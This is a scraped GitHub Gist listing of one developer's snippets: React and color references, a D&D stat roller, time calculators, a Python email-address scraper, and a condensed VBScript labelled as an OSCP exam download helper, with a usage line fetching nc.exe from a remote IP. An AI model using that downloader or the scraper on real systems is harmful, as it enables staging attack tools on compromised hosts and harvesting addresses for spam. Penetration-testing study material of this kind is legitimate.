Skip to content

Instantly share code, notes, and snippets.

@mike-pete
mike-pete / MyProgress.txt
Last active January 20, 2020 18:31
My progression as a developer
My progression as a developer:
Classes:
Java (A+)
C++ (A+)
Intro to Web Hosting + Development (Taught)
Intro to Web Hacking (Taught)
Web
HTML + CSS
@mike-pete
mike-pete / react.html
Created January 13, 2019 03:08
Used for reference ( React JS )
<html>
<head>
<!-- https://medium.freecodecamp.org/learn-react-js-in-5-minutes-526472d292f4 -->
<script src="https://unpkg.com/react@15/dist/react.min.js"> </script>
<script src="https://unpkg.com/react-dom@15/dist/react-dom.min.js"></script>
<script src="https://unpkg.com/babel-standalone@6.15.0/babel.min.js"></script>
</head>
<body>
<div id="root">
<!-- react components will go here -->
:root {
--black: #000000;
--white: #FFFFFF;
--gray: #555555;
--light-gray: #AAAAAA;
--magenta: #AA00AA;
--light-magenta:#FF55FF;
@mike-pete
mike-pete / cga.js
Created March 22, 2019 21:34
cga colors for js
const cga = {
black: '#000000',
white: '#FFFFFF',
gray: '#555555',
'light-gray': '#AAAAAA',
magenta: '#AA00AA',
'light-magenta':'#FF55FF',
red: '#AA0000',
'light-red': '#FF5555',
brown: '#AA5500',
@mike-pete
mike-pete / emailDumper.py
Created August 28, 2019 21:54
Python script to dump emails from a web page
import requests, re
url = 'http://lemonshell.com'
emails = []
site = requests.get(url).content.decode('utf-8')
reg = re.compile('[\w\d\.]+@[\w\d\.]+\.[\w]{2,}')
for email in reg.findall(site):
if email not in emails:
@mike-pete
mike-pete / newCharacterStatRoller.py
Last active December 1, 2019 07:22
This Python script lets you quickly roll stats for a new D&D character.
from random import randint
# roll 4 d6 and drop the losest val
def rollStat():
rolls = []
for i in range(4):
rolls.append(randint(1, 6))
rolls.sort(reverse=True)
topThree = rolls[0:3]
print(' + '.join(str(x) for x in topThree) + ' = ' + str(sum(topThree)))
# These functions are used to calculate how many work days have been in the previous N number of days
days = ['mon','tue','wed','thu','fri','sat','sun']
# this function counts the workdays within the last n days
def countWorkDays(daysAgo, dayOfWeek):
# print(daysAgo, days[dayOfWeek])
workDay = 1 if dayOfWeek < 5 else 0
dayOfWeek = dayOfWeek - 1 if dayOfWeek > 0 else 6
/* This script:
* - takes 2 time entries [(hh:mm) (AM or PM)] and [(hh:mm) (AM or PM)]
* - calculates the time difference between them
* - saves the time difference in the Total Time field
*
* This script requires the following fields:
* - 2 text entry fields ("Start Time" and "End Time")
* - 2 dropdowns ("Start AM or PM" and "End AM or PM") these have the options "AM" and "PM" respectively
* - 1 read only text entry field (Total Time)
*/
'OSCP example download script shortened and condensed into two lines
'download.vbs http://10.10.10.10/nc.exe nc.exe
Dim http, varByteArray, strData, strBuffer, i, ts : Set http = Nothing : Set http = CreateObject("WinHttp.WinHttpRequest.5.1") : If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") : If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") : If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
http.Open "GET", WScript.Arguments.Item(0), False : http.Send : Set ts = CreateObject("Scripting.FileSystemObject").CreateTextFile(WScript.Arguments.Item(1), True) : strData = "" : strBuffer = "" : For i = 0 to UBound(http.ResponseBody) : ts.Write Chr(255 And Ascb(Midb(http.ResponseBody,i + 1, 1))) : Next : ts.Close
# https://stackoverflow.com/questions/12297500/python-module-for-nslookup
import socket
import random
words = '''\
profile
info
swap
tag